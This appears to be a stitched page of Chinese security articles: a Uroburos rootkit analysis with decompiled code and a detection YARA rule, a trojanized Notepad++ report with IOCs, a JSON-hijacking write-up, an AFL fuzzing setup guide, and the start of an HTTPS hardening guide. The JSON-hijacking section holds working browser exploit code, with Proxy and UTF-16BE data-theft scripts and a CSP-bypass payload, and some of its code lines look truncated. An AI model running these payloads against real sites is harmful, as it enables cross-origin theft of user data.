(__int64)&v34,
&a9,
&a10);
“intercept_packet”函数（位于内存转储中的地址fffa8004bd9580处）将分析经过网络连接的数据。有趣的是，它不会查看经过139端口的数据。对于其他端口，它将只查看接收到的数据，并且只在主机是服务器的情况下。
if ( v9 || LOWORD(a1->layerId) == 20 && a1->pIP_infos->src_port == 139 )
return;
if ( LOWORD(a1->layerId) == 22 && a1->pIP_infos->src_port == 139 )
return;
[...]
fwpsCopyStreamDataToBuffer0(v8, datas_tcp_buffer, *(_QWORD *)(v8 + 48), &v31);
[...]
buffer_type_2 = find_and_decode_datas(datas_tcp_buffer, v24, *((_DWORD *)v11 + 0x1FF) == 0, &a4a);
“find_and_decode_datas”函数负责测试不同的已接受的通信协议。在我们的样本中，我们将研究HTTP通信。我们的目标是想看看，是否有可能远程确认服务器是否被Uroburos入侵。
恶意软件会验证接收到的消息是否是一个标准的HTTP请求。然后，它将在HTTP标头的一个参数中查找隐藏的消息。
if ( space_offset_1 != 3i64
|| ((v18 = *(_WORD *)Buf < (unsigned __int16)str_GET, *(_WORD *)Buf !=
(_WORD)str_GET)
|| (v19 = Buf[2], v18 = (unsigned __int8)v19 < BYTE2(str_GET), v19 != BYTE2(str_GET)) ? (v20 = -v18 - (v18 - 1)) : (v20 = 0), v20) )
{
if ( space_offset_1 != 4 || *(_DWORD *)Buf != str_POST )
return 0i64;
}
[...]
if ( *(_DWORD *)start_word_2 != *(_DWORD *)"http://"
[...]
if ( v33 != *(_DWORD *)"HTTP/" || (v35 = v32[4], v34 = v35 < aHttp_0[4], v35 !=
aHttp_0[4]) )
[...]
|| !(unsigned int)check_and_decode_buffer(&Buf[nextline], v14, response_tag, out_decoded_b64, v7) )
[...]
“check_and_decode_buffer”函数将查找第一个“:”字符，并尝试在相应的HTTP参数中找到一个隐藏的消息。
v15 = memchr(v10, ':', (unsigned int)(v14 - 1));
if ( !v15 || *((_BYTE *)v15 + 1) != ' ' )
return (unsigned int)v5;
然后，通过几个校验和（checksum）来检查信息。
v10 = get_checksum(datas, 12);
result = (unsigned __int64)reverse_littleendian(v10) == *(_DWORD *)v4;
校验和函数使用的是一个经修改后的“threefish256”算法。
crypto_it(v3, v6, (v5 - 1) >> 5, 32);
[...]
memcpy((void *)(v3 + *(_QWORD *)(v3 + 8) + 64), v6, v5);
*(_QWORD *)(v3 + 8) += v5;
该过程会运行三次散列函数，以获得最终的散列值。第一次使用允许初始化数据的静态缓冲区，第二次使用要散列的数据，最后一次使用该数据的散列值。最终获得的散列值将会以4字节为单位进行截断，并以此作为校验和。一个密钥被初始化，我们猜测针对每个目标都会有一个不同的密钥。它将用于计算散列值，但不会在请求中发送。
要传递的信息包含在每一行的末尾，它的格式为7个节的容+1个节的校验和，而校验和只是前7个字节的总和。随后，恶意软件会对这8个字节进行Base64编码。
HTTP请求数据将按如下方式进行调整：
有趣的是，“代码（Code）”元素并没有出现在最终的查询中。实际上可以使用四个值，它们是在验证过程中被恶意软件强制使用的。
当服务器与此类请求（在已打开的端口上）进行联系时，应答我们的是Rootkit （数据不会转移到用户空间）。
如果收到的信息对应于预期的格式，驱动程序将发送一个可变大小的响应，并采用随机字节填充。
if ( reply_datas[6] & 2 )
{
v8 = 8 * (rand() % -32);
v4 = v8;
v9 = &v21[-v8];
if ( v8 )
{
v10 = v8;
do
{
*v9++ = rand();
--v10;
}
while ( v10 );
}
}
*(_BYTE *)(v7 + 0xBE0);
sprintf(Dest, "HTTP/1.1 200 OKrnContent-Length: %urnConnection: %srnrn",(unsigned int)(v4 + 8));
只有前8个字节响应特定的格式，其他所有数据都是随机的。针对该内容的完整性由前7个字节之间的额外校验和执行，结果存储在第8个字节中。这个校验和过程类似于上面提到的。基于此，我们可以开发一个PoC，来远程检查服务器是否被这个版本的恶意软件入侵：
> request_builder.py 192.168.48.133 8080
datas :
0000000000000000 E8 F6 E8 4E 72 61 03 EA C8 B3 DD 8D 25 D0 26 12 ...Nra♥.....%.&
0000000000000010 B7 F9 50 E5 8C D2 01 62 A0 37 2F FB AD C8 91 DA ..P...b.7/.....
0000000000000020 44 A5 53 C7 1D 76 0E 4D AC AF F7 18 F4 12 57 A2 D.S.↔v♫M...↑.W.
0000000000000030 A0 75 3B 0F 50 C5 6C 55 31 4B A1 9F D0 2E F4 F4 .u;☼P.lU1K......
0000000000000040 30 39 93 13 1A DF B8 A2 B4 7C DB 88 55 DE 26 98 09.→....|..U.&.
0000000000000050 98 04 29 6F AF 25 CF 9F FA F5 90 0D D8 23 E9 97 .♦)o.%.......#..
[*] checksum OK – Host is compromised
这个[PoC](http://www.exatrack.com/public/uroburos_poc.py)可以在我们的网站上找到。
## 2014年与2017年Uroburos的异同点
与2014年的恶意软件相比，有一些相同和相同的地方。以下这个列表并不完整，但是可以让你了解到这个恶意软件目前的状态。
l 文件的名称和服务的名称保持不变，这使得任何IOC都可以很容易地检测到它。
l 驱动程序总是加载VirtualBox漏洞利用方法。因此，在每次重新引导系统时都会进行内核漏洞利用。
l PatchGuard旁路已经被删除，这必然会限制对内核的修改。
Driver 2014:
if ( v2 )
installService(v3);
v4 = PG_bypass();
if ( v4 )
goto LABEL_16;
ObjectAttributes.Length = 48;
ObjectAttributes.RootDirectory = 0i64;
Driver 2017:
if ( v2 )
installService(cp_DriverObject);
ObjectAttributes.RootDirectory = 0i64;
ObjectAttributes.SecurityDescriptor = 0i64;
l 仍然使用DriverNull驱动程序，并且DeviceFWPMCALLOUT设备仍然会附加到该驱动程序之中。
>>> drv_stack DriverNull
- Stack of device name : DeviceFWPMCALLOUT
Driver Object : fffffa80032753e0
Driver : DriverNull
Address: fffff88001890000
Driver : Null.SYS
- Stack of device name : DeviceNull
Driver Object : fffffa80032753e0
Driver : DriverNull
Address: fffff88001890000
Driver : Null.SYS
l
字符串加密机制保持不变。在IopNotifyShutdownQueueHead中注册“Null”驱动程序本身就是一个非常有效的思路，但是我们还没有看到它的使用。这个回调函数的一个可能用途是在关机时写入注册表项，从而保证持久性。
l 校验和机制得到改进，恶意软件使用了Threefish算法，消息的格式也在2014年版本上进行了调整。其目的可能是为了改变恶意软件的特征，以逃避检测。
总的来说，Rootkit仍然具备很大的威胁，但也有一些疏漏。例如，文件的名称和注册表项保持不变，这可能表明它将只在隔离的服务器上运行。尽管受欢迎的程度明显降低，但这个内核恶意软件仍然存在，并且似乎并没有准备退出舞台，因为它们的存在比位于用户空间组件中的恶意软件更加难以识别。
## YARA规则
rule Sig
{
strings:
$strings_crypt = { 4d 8b c1 41 ba 40 00 00 00 41 ?? ?? ?? 41 ?? ?? 49 83 c0 01 49 83 ea 01 75 ??}
$hash_part1 = { 49 c1 c3 0e 4e ?? ?? ?? 4c 33 dd 4c 03 c7 4c 03 c1 48 c1 c0 10 49 33 c0 4d 03 c3 48 03 e8 48 c1 c8 0c 48 33 c5 49 c1 cb 07 4d 33 d8 4c 03 c0 49 03 eb 49 c1 c3 17 4c 33 dd 48 c1 c8 18 49 33 c0 4d 03 c3 48 03 e8 49 c1 cb 1b 4d 33 d8 4c 03 df 4c 03 d9 48 c1 c0 05 48 33 c5 4a ?? ?? ?? ??}
condition:
1 of them
}
审核人：yiwang 编辑：边边 | 社区文章 |
**译者：知道创宇404实验室翻译组**
**原文链接：<https://www.trendmicro.com/en_us/research/20/k/weaponizing-open-source-software-for-targeted-attacks.html>**
## 前言
由于采用了合法的非恶意软件的外观，木马开源软件隐蔽且有效的攻击很难被发现。但通过仔细调查可发现其可疑行为，从而暴露其恶意意图。
开源软件如何木马化？我们如何检测到它们？为了回答这些问题，让我们看一下最近的相关调查。
## 调查
我们发现一个名为notepad.exe的文件。众所周知，记事本是合法的应用程序。但某些黑客使用诸如notepad.exe之类的合法名称进行伪装以规避检测。
图1 遥测数据显示可疑的notepad.exe文件
notepad.exe文件是通过ntoskrnl.exe删除的，它是Windows
NT操作系统内核可执行文件的简称。这可以通过利用ntoskrnl.exe或通过网络共享来完成。根据我们获得的遥测数据分析，它很可能是后者。RCA表明，此恶意notepad.exe文件通过调用以下工具进行了可疑操作：
**可执行文件** | **功能**
---|---
ipconfig.exe | 获取Windows IP配置
可执行文件 | 枚举域中的本地和全局组列出服务器和工作站服务的设置标识本地计算机和域中的所有共享命名用户本地和域用户帐户
注册表文件 | 将导入注册表项/条目转储到文件中
系统信息 | 收集本地或远程计算机的操作系统配置信息，包括Service Pack级别
任务列表 | 获取本地或远程计算机上当前正在运行的进程的列表
表1 可执行文件的名称和功能
notepad.exe文件指向这些进程及其功能的链接表明，该文件是典型的后门程序，可从恶意远程用户获取命令。notepad.exe的文件属性中列出的详细信息如下所示：
图2 Notepad.exe属性
文件描述、产品名称和原始文件名提到Notepad++是一种用作源代码编辑器的开源软件，文件的某些详细信息是可疑的。例如，文件通常不被命名为“notepad.exe”。[4月份发布的v7.8.6](https://notepad-plus-plus.org/downloads/v7.8.6/)版本也已经过时了，截至撰写本文时，最新版本是于11月初发布的[v7.9.1](https://notepad-plus-plus.org/downloads/v7.9.1/)。
执行有问题的文件将显示以下内容：
图3 执行的notepad.exe文件
该文件的用户界面外观和功能令人信服，类似于典型的合法Notepad++文件。初步外观没有发现任何可疑之处。但是就行为而言，我们发现该示例执行了非恶意文件不会执行的操作：它在c：\
windows \ debug文件夹中搜索名为config.dat的文件。由于上述文件在样本代码分析中显示出来，因此这种行为非常明显。
图4 搜索config.dat文件
## 代码分析
反编译此恶意Notepad++文件的代码将显示以下代码：
图5
恶意Notepad++文件的代码片段
下面显示了从典型的非恶意Notepad++文件中提取的代码片段：
图6 典型的非恶意Notepad++文件的代码片段
这些代码段具有许多相似之处，但恶意Notepad++文件具有其他代码，这些代码会加载加密的Blob文件（config.dat），该文件会解密该代码并在内存中执行该代码，以便它可以执行其后门例程。这使我们想起了例如[PLUGX](https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PLUGX)恶意软件类型。
我们观察到两个使用相同加载器和不同负载的实例。其中一个有效负载被检测为TrojanSpy.Win32.LAZAGNE.B，另一个有效负载被检测为Ransom.Win32.EXX.YAAK-B（[Defray勒索软件](https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/defray-ransomware-sets-sights-on-healthcare-and-other-industries)）。调查还发现其他具有相同加载程序的Blob文件会导致不同的有效负载。
我们怀疑此事件中的文件的攻击具有针对性。在初始计算机被感染后，通过管理员共享传播恶意的notepad++和config.dat 变得很容易。
## 武器化开源软件
由于与合法的 Notepad ++
文件极为相似，被分析的样本很容易被误认为是非恶意文件。黑客通过对开放源代码软件进行木马化来掩饰这种情况。因此任何人（包括黑客）都可以访问其[源代码](https://github.com/notepad-plus-plus/notepad-plus-plus)。
黑客可以寻找被广泛使用的软件开源代码，并通过添加恶意代码使其木马化，这些恶意代码可以执行诸如加载加密blob文件之类的功能。这意味着生成的文件的大多数二进制代码且非恶意的，而恶意代码只是加载文件，这种活动似乎不太可疑。此外，加密的Blob文件没有文件头，使反恶意软件（包括基于AI
/ ML的解决方案和仅关注单个保护层的解决方案）难以检测到。为了阻止此类威胁，安全团队的以下建议将很有帮助。
## 建议
用户应从受信任的合法渠道下载文件、应用程序和软件（例如开源软件），以避免此类威胁。例如，Notepad
++用户可以[从其官方网站](https://notepad-plus-plus.org/)下载相关文件；企业可以创建并向其员工分发批准的下载站点列表；公司可以规定：经过IT团队的批准，员工才能在办公设备上安装软件。安全团队建议验证下载的二进制文件；使用[Trend
Micro™ XDR](https://www.trendmicro.com/en_us/business/products/detection-response/xdr.html)，它可以跨端点、电子邮件、云工作负载和网络收集并关联数据，从而提供更好安全保障。
## IOCs
**File name** | **SHA-256** | **Trend Micro Pattern Detection** | **Trend
Micro Machine Learning Detection**
---|---|---|---
notepad.exe (malicious, non-legitimate file named as such) |
bacc02fd23c4f95da0fbc5c490b1278d327fea0878734ea9a55f108ef9f4312e |
[Trojan.Win32.VATET.SM](http://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/Trojan.Win32.VATET.SM) | BKDR.Win32.TRX.XXPE50FFF038E0002
config.dat | 64ba94000e2815898fb17e93deaa44ac0e1b4c55316af727b908dfe74c3b7ef6
| Trojan.Win32.VATET.ENC | N/A
config.dat | 33234dc94d926f1fc2831f40e27080739b415d485aa457d14a83617a3996089b
| Trojan.Win32.VATET.ENC | N/A
release.exe | 09c99e37121722dd45a2c19ff248ecfe2b9f1e082381cc73446e0f4f82e0c468
| TrojanSpy.Win32.LAZAGNE.B | Troj.Win32.TRX.XXPE50FFF038
virus2.dll | 1c3331b87dc55a8cc491846f2609d6226f66eb372716df349567ed619dd1b731
| Ransom.Win32.EXX.YAAK-B | Troj.Win32.TRX.XXPE50FFF038
**Hashs**
**SHA-256** | **Trend Micro Patten Detection** | **Trend Micro Machine
Learning Detection**
---|---|---
0b42bf15b77cfe9f9e693f2776691647e78a91be27f5bdb8d1a366be510a773f |
Trojan.Win32.VATET.A | Troj.Win32.TRX.XXPE50FFF038
10c4067908181cebb72202d92ff7a054b19ef3aada939bf76178e35be9506525 |
Trojan.Win32.VATET.A | BKDR.Win32.TRX.XXPE50FFF038E0002
19938becb018e3459b49381c7efffabbe44a6450362b769ba85a3f1240b068d0 |
Trojan.Win32.VATET.A | Troj.Win32.TRX.XXPE50FFF038
2f149a79f721bb78eb956f70183b531fb6a1b233ceb4a3d6385759a0b0c16fd3 |
[Trojan.Win32.VATET.SM](http://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/Trojan.Win32.VATET.SM) | Troj.Win32.TRX.XXPE50FFF038
37e8d3ae4c34441b30098d7711df8ef0bcc12c395f265106b825221744b956bc |
Trojan.Win32.VATET.A | BKDR.Win32.TRX.XXPE50FFF038E0002
382d9bf5da142d44de5fda544de4fffe2915a3ffc67964b993f3c051aa8c2989 |
[Trojan.Win32.VATET.SM](http://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/Trojan.Win32.VATET.SM) | BKDR.Win32.TRX.XXPE50FFF038E0002
42f5f1b08c9cee876bafdb6dc4188e8e29d26a07951e1083e08e2a4b0cb6d0ff |
[Trojan.Win32.VATET.SM](http://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/Trojan.Win32.VATET.SM) | BKDR.Win32.TRX.XXPE50FFF038E0002
(GENERIC: Hit Bad Auto Shield)
4421720e0321ac8b3820f8178eb8a5ff684388438b62c85f93df9743a1d9fdb9 |
[Trojan.Win32.VATET.SM](http://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/Trojan.Win32.VATET.SM) | BKDR.Win32.TRX.XXPE50FFF038E0002
4fb94877cc150f591e5b61dc5641f33e93e67ae1912c2e122e7ef2a236046f1a |
Trojan.Win32.VATET.A | BKDR.Win32.TRX.XXPE50FFF038E0002
52d3ebe824ad60a939d64e73336e790884e3674b2d22dbe6e3c6b22061124161 |
[Trojan.Win32.VATET.SM](http://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/Trojan.Win32.VATET.SM) | n/a
57eea67e3eebde707c3fb3473a858e7f895ae12aad37cc664f9c0512c0382e6a |
[Trojan.Win32.VATET.SM](http://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/Trojan.Win32.VATET.SM) | Troj.Win32.TRX.XXPE50FFF038
6ac07424e5c9b87d76645aa041772ac8af12e30dc670be8adf1cf9f48e32944b |
Backdoor.Win32.VATET.CFH | BKDR.Win32.TRX.XXPE50FFF038E0002
bacc02fd23c4f95da0fbc5c490b1278d327fea0878734ea9a55f108ef9f4312e |
[Trojan.Win32.VATET.SM](http://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/Trojan.Win32.VATET.SM) | BKDR.Win32.TRX.XXPE50FFF038E0002
ea6c3b993d830319b08871945cf2726dd6d8e62e8fed8fc42bcb053c38c78748 |
[Trojan.Win32.VATET.SM](http://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/Trojan.Win32.VATET.SM) | BKDR.Win32.TRX.XXPE50FFF038E0002
e5ce1c1b69bd12640c604971be311f9544adb3797df15199bd754d3aefe0a955 |
Trojan.Win32.VATET.A | BKDR.Win32.TRX.XXPE50FFF038E0002
ef7e21d874a387f07a9f74f01f2779a280ff06dff3dae0d41906d21e02f9c975 |
[Trojan.Win32.VATET.SM](http://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/Trojan.Win32.VATET.SM) | BKDR.Win32.TRX.XXPE50FFF038E0002
f0a25444cf58b61ff6cdd86ff1cfa53a51ad426817a33bd0e098f4f0ff286f22 |
[Trojan.Win32.VATET.SM](http://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/Trojan.Win32.VATET.SM) | BKDR.Win32.TRX.XXPE50FFF038E0002
* * * | 社区文章 |
# 【技术分享】现代浏览器中的新型JSON劫持技术
|
##### 译文声明
本文是翻译文章，文章来源：portswigger
原文地址：<http://blog.portswigger.net/2016/11/json-hijacking-for-modern-web.html>
译文仅供参考，具体内容表达以及含义原文为准。
**翻译：**[ **WisFree**](http://bobao.360.cn/member/contribute?uid=2606963099)
**预估稿费：200RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn** ****](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**前言**
近期，安全研究专家Benjamin Dumke-von der
Ehe发现了一种能够[跨域窃取数据](http://balpha.de/2013/02/plain-text-considered-harmful-a-cross-domain-exploit/)的新方法。在JS代理（[JS
proxies](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Proxy)）的帮助下，他可以自己创建一个用于窃取未定义JavaScript变量的处理器（handler）。需要注意的是，火狐浏览器似乎并不会受到该问题的影响。不过，我从中发现了一种能够对Edge浏览器进行攻击的新方法。
**在Edge中实现攻击**
在Edge浏览器中窃取未定义变量的PoC [[点我获取]](http://portswigger-labs.net/jsproxy/edge_proxy_undefined_variable_read/)
在Edge浏览器中窃取未定义变量的PoC-2 [[点我获取]](http://portswigger-labs.net/jsproxy/edge_proxy_undefined_variable_read/index2.html)
虽然Edge可以防止我们直接为window.__proto__属性赋值，但是微软的工程师似乎忘记Object.setPrototypeOf的存在。这样一来，我们就可以通过这种方法用代理__proto__重写原来的__proto__属性。具体代码如下所示：
<script>
Object.setPrototypeOf(__proto__,new Proxy(__proto__,{
has:function(target,name){
(name);
}
}));
</script>
<script src="external-script-with-undefined-variable"></script>
<!-- script contains: stealme -->
如果你引入了一个跨域脚本，并且脚本中包含变量“stealme”的话，你将会看到浏览器弹出这个变量的值，即使这是一个未定义的变量。
在进行了进一步测试之后，我发现我们可以通过重写__proto__属性来达到相同的效果。我想在这里解释一下，JavaScript允许我们覆盖或重写其他的方法或对象，包括Array()这种内部方法。所以恶意攻击者可以轻松地将JavaScript中的方法或对象替换为恶意内容。注：__proto__是Edge浏览器中的EventTargetPrototype对象。具体代码如下所示：
<script>
__proto__.__proto__=new Proxy(__proto__,{
has:function(target,name){
(name);
}
});
</script>
<script src="external-script-with-undefined-variable"></script>
**开拓创新**
现在，既然我们已经可以跨域窃取数据了，那么我们还能做些什么呢？目前主流的浏览器都支持在脚本中使用“charset”（字符集）属性，而且我发现UTF-16BE字符集非常有意思。UTF-16BE是一种多字节字符集，其中每个字符均占两个字节。比如说，如果你的脚本代码开头为“[”，那么该字符将会被解析为0x5b22，而不是0x5b
0x22。而0x5b22正好为一个有效的JavaScript变量。
假如我们现在接收到了Web服务器返回的响应数据，即一个Array
Literal（数组字面量），而且我们可以控制它的部分值。这样一来，我们就可以利用UTF-16BE字符集来将这个数组字面量转变为一个未定义的JavaScript变量，然后再利用上文所描述的技术来窃取它。需要注意的是，所得结果必须是一个有效的JavaScript变量。
比如说，让我们先看看下面这个响应：
["supersecret","input here"]
为了窃取更多的机密数据，我们需要在“aa”之前插入一个空字符（NULL），由于某种原因，Edge并不会将其视为UTF-16BE字符，除非我们注入了下面代码中的这些字符。也许是因为Edge会进行某种字符集嗅探，或者它会截断部分响应数据，此时NULL值后面的字符就会变成一个无效的JS变量。相关代码如下所示：
<!doctype HTML>
<script>
Object.setPrototypeOf(__proto__,new Proxy(__proto__,{
has:function(target,name){
(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
}
}));
</script>
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
<!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->
在Edge上窃取JSON feed的PoC [[点我获取]](http://portswigger-labs.net/utf-16be/edge_steal_json_data_with_proxy/index2.php)
与之前一样，我们在代码中为__proto__属性设置了代理，脚本中还包含一个UTF-16BE字符集和一个包含有NULL值的响应。接下来，我对UTF-16BE编码字符串进行按位右移8位的解码操作，并获取到了其第一个字节的数据，然后又通过“按位与”计算获取到了第二个字节的内容。结果我们得到了一个警告弹窗，内容为“[“supersecret””，似乎Edge会将响应数据中NULL之后的内容截断。请注意，这种攻击的适用场景非常有限，因为很多字符在组合之后并不会生成一个有效的JavaScript变量。但是，我们仍然可以在某些场景下利用这项技术窃取到部分有效数据。
**在Chrome中窃取JSON feed**
请注意：这个问题已经在Chrome 54中得到了修复
这个PoC在Chrome 53版本中可以正常运行 [[点我获取]](http://portswigger-labs.net/utf-16be/chrome_steal_json_data_with_proxy/index2.html)
Chrome的情况就非常糟糕了，因为Chrome相对更加开放，我们可以自由地使用各种脚本和字符集。你不需要对响应数据进行任何的控制，Chrome完全可以正确地使用各种字符集。为了利用这个“功能”，我们还需要另外一个未定义的变量。首先，我对Chrome进行了简单的分析，我发现Chrome似乎不允许我们改写__proto__，但是他Chrome的工程师貌似忘记了__proto__属性可以不断向下延伸…
<script>
__proto__.__proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{
has:function f(target,name){
var str = f.caller.toString();
(str.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
}
});
</script>
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
<!-- script contains the following response: ["supersecret","abc"] -->
测试发现，虽然“name”参数中并没有包含我们的未定义变量，但是函数的caller却得到了我们需要的值。它返回了一个函数，其中包含我们的变量名！很明显，数据使用了UTF-16BE编码，如下所示：
function 嬢獵灥牳散牥琢Ⱒ慢挢崊
没错，我们的变量泄漏在了caller中。你需要调用toString方法来获取它的数据，否则Chrome将会抛出一个异常。在测试的过程中，我还可以跨域获取到XML或HTML数据，这是一个非常严重的信息披露漏洞。不过谷歌目前已经将Chrome中的这个漏洞修复了。
**在Safari中窃取JSON feed**
在Safari浏览器中实现JSON劫持的PoC [[点我获取]](http://portswigger-labs.net/utf-16be/safari_steal_json_data_with_proxy/)
需要注意的是，这项攻击技术同样适用于最新版本的Safari浏览器。与Chrome浏览器的攻击场景不同，我们在这里只需要使用四个__proto__，并且使用代理中的“name”参数即可。具体代码如下所示：
<script>
__proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{
has:function f(target,name){
(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
}
});
</script>
在进行了进一步测试之后，我发现Safari与Edge一样无法抵御这种类型的攻击，而且我们只需要使用两个__proto__（即__proto__.__proto__）便可进行跨域窃取数据了。
**在无JS代理的情况下劫持JSON feed**
我在上文中提到过，目前大多数主流的浏览器都支持UTF-16BE字符集，那么我们怎样才可以在没有JS代理的情况下攻击JSON数据呢？首先，你需要控制其中的部分数据，然后JSON
feed必须能够组合并构建出一个有效的JavaScript变量。现在，我们要输出一个UTF-16BE编码的字符串，然后为非ASCII变量赋值。接下来，在循环中检查这个值是否存在。相关代码如下所示：
=1337;for(i in window)if(window[i]===1337)(i)
这段代码会被编码为UTF-16BE字符串，所以我们最终得到的仍然是代码，而不是一个非ASCII变量。完整的JSON feed如下所示：
{"abc":"abcdsssdfsfds","a":"<?php echo mb_convert_encoding("=1337;for(i in window)if(window[i]===1337)(i.replace(/./g,function(c){c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff);}));setTimeout(function(){for(i in window){try{if(isNaN(window[i])&&typeof window[i]===/number/.source)(i.replace(/./g,function(c){c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff);}))}catch(e){}}});++window.", "UTF-16BE")?>a":"dasfdasdf"}
**绕过CSP（内容安全策略）**
使用UTF-16BE绕过CSP的PoC [[点我获取]](http://portswigger-labs.net/utf-16be/csp/index.php?x=%3Cscript%20src=%22index.php?x=%09%00%3D%00a%00l%00e%00r%00t%00\(%001%00\)%00%3B%00%2F%00%2F%22%20charset=%22UTF-16BE%22%3E%3C/script%3E)
可能你已经注意到了，一个UTF-16BE编码字符串还会将很多其他的对象（包括空行）转换为非ASCII变量，这也就使得我们可以利用这一点来绕过CSP了。要注意的是，HTML文档同样会被视为一个JavaScript变量，我们所要做的就是插入一个带有UTF-16BE字符集的脚本，并通过这个带有UTF编码值的脚本绕过内容安全策略。
这个HTML文档如下所示：
<!doctype HTML><html>
<head>
<title>Test</title>
<?php
echo $_GET['x'];
?>
</head>
<body>
</body>
</html>
请注意，HTML文档中并没有声明所用的字符集，这并不是因为字符集不重要，而是因为引号和meta元素将会使我们的JavaScript脚本失效。Payload如下所示（为了构建出有效的变量，tab是必须的）：
<script%20src="index.php?x=%2509%2500%253D%2500a%2500l%2500e%2500r%2500t%2500(%25001%2500)%2500%253B%2500%252F%2500%252F"%20charset="UTF-16BE"></script>
**缓解方案**
为了有效地防止这种基于字符集的攻击，你可以在HTTP的content-type header中声明你需要使用的字符集（例如UTF-8）。PHP
5.6使用的也是这种策略，如果HTTP的content-type header中没有设置字符集的话，它将会自动声明使用UTF-8。
**总结**
实验结果表明，Edge、Safari和Chrome都存在这个漏洞，而攻击者将可以通过这个漏洞跨域读取未声明的变量。除此之外，攻击者还可以使用不同的字符集来绕过目标应用的内容安全策略（CSP）并窃取脚本数据。如果你可以控制服务器端的JSON响应信息，那么就算你没有设置代理，你同样能够成功地窃取数据。 | 社区文章 |
Fuzzing技术被证明是当前鉴别软件安全问题方面最强大测试技术。
当前大多数远程代码执行和特权提升等比较严重的漏洞都是使用Fuzzing技术挖掘的。
然而Fuzzing技术仍然存在着覆盖率低的缺陷。
而许多的代码漏洞需要更大的路径覆盖率才能触发，而不是通过纯粹的随机尝试。
而AFL-FUZZ 是一款采取遗传算法生成用例的FUZZ工具。可以有效的解决这些问题。
为了提升Fuzzing的效率，AFL-FUZZ可以采用LLVM来使用`afl-fast-clang` & `afl-fast-clang++`去替换`afl-gcc`进行插桩。而且当使用`afl-fast-clang`来编译的时候可以使用`__AFL_LOOP`
`__AFL_LOOP`可以一次调用，发送多条模糊测试用例。
下面介绍一下如何启用`LLVM`模式。
#### 1、<http://releases.llvm.org/download.html#3.5.2> 下载所需要的源码包。
cfe-3.5.2、clang-tools-extra-3.5.2、 compiler-rt-3.5.2 、llvm-3.5.2
xz -d 解压 这5个文件
tar xvf 解压上一步解压出来的5个tar文件
#### 2、整合源码
mv cfe-3.5.2.src clang
mv clang llvm-3.5.2.src/tools
mv clang-tools-extra-3.5.2.src extra
mv extra/ llvm-3.5.2.src/tools/clang/
mv compiler-rt-3.5.2.src compiler-rt
mv compiler-rt llvm-3.5.2.src/projects/
#### 3、编译安装
mkdir build-3.5
cd build-3.5/
../llvm-3.5.2.src/configure --enable-optimized --enable-targets=host-only
make -j 4
make install
#### 4、编译安装afl-fuzz的llvm模块
cd afl-2.50b/
cd llvm_mode/
make
make install
然后进入 `afl-2.50b`目录。重新`make install` 激活安装成功的`afl-fast-clang`
OK，这样就可以使用`afl-fast-clang`来进行插桩编译了。
如：
> SET(CMAKE_CXX_COMPILER "afl-clang-fast++")
while (__AFL_LOOP(1000))
{
XXXXXX
}
最后使用AFL-FUZZ进行模糊测试，会发现效率提升了很多。 | 社区文章 |
> Author:HENRY.CHEN
> <https://blog.myssl.com/https-security-best-practices/>
当你的网站上了 HTTPS 以后，可否觉得网站已经安全了？[这里](https://myssl.com/) 提供了一个 HTTPS
是否安全的检测工具，你可以试试。
本篇正文讲述的是 HTTP 安全的最佳实践，着重在于 HTTPS 网站的 Header 的相关配置。
### 1 连接安全性和加密
#### 1.1 SSL/TLS
传输层安全（TLS）及其前身安全套接字层（SSL），通过在浏览器和 web 服务器之间提供端到端加密来促进机密通信。没有 TLS，就谈不上什么安全。TLS
是 HTTP 安全性的基础。
想要部署 TLS 是非常容易的，但其难点在于如何使用安全的配置来保障站点的安全。
尤其是 Protocol 版本和 Cipher 需要小心选择和配置。你可以通过本站 [工具](https://myssl.com/)
体检你的网站，发现并解决这些细节的问题。
**建议**
所有本地和链接的资源需要正确的配置，且要使用 TLS。
#### 1.2 HTTP Strict Transport Security (HSTS)
指示浏览器只使用 HTTPS 连接到目标服务器。这可以防止一些潜在的中间人攻击，包括 SSL 剥离，会话 cookie 窃取（如果没有被
[适当保护](https://blog.myssl.com/https-security-best-practices/#4cookies)）。如果遇到任何与证书相关的错误，它还可以阻止浏览器连接到网站。当浏览器访问一个设置相应 HTTP header 的
HTTPS 网站时，HSTS 将被激活。
HSTS 有一个固定期限，由 max-age 字段值控制。这个值可以是静态的，也可以是相对于将来某个特定日期的，你可以设置成 SSL 证书的过期时间。
在浏览器中，HSTS 首选项可以通过提交到 [Chromium's HSTS preload
list](https://hstspreload.appspot.com/) 来硬编码，这是所有实现 HSTS 使用的浏览器。
注意，HSTS 确实有陷阱。它提供了 `include subdomains`
选项，这在实践中可能是太宽泛了。此外，客户端错误可能会造成严重的后果——客户端错误的时钟导致它认为服务器的 SSL 证书无效或过期，或者缺少根 CA
证书——将不再导致浏览器中的证书错误。浏览器将完全拒绝访问页面，并且可能会显示让安全专家之外的完全无法理解的错误。
**建议**
设置 HSTS header 长的生命周期，最好是半年及以上。
Strict-Transport-Security: max-age=31536000
#### 1.3 Public Key Pins
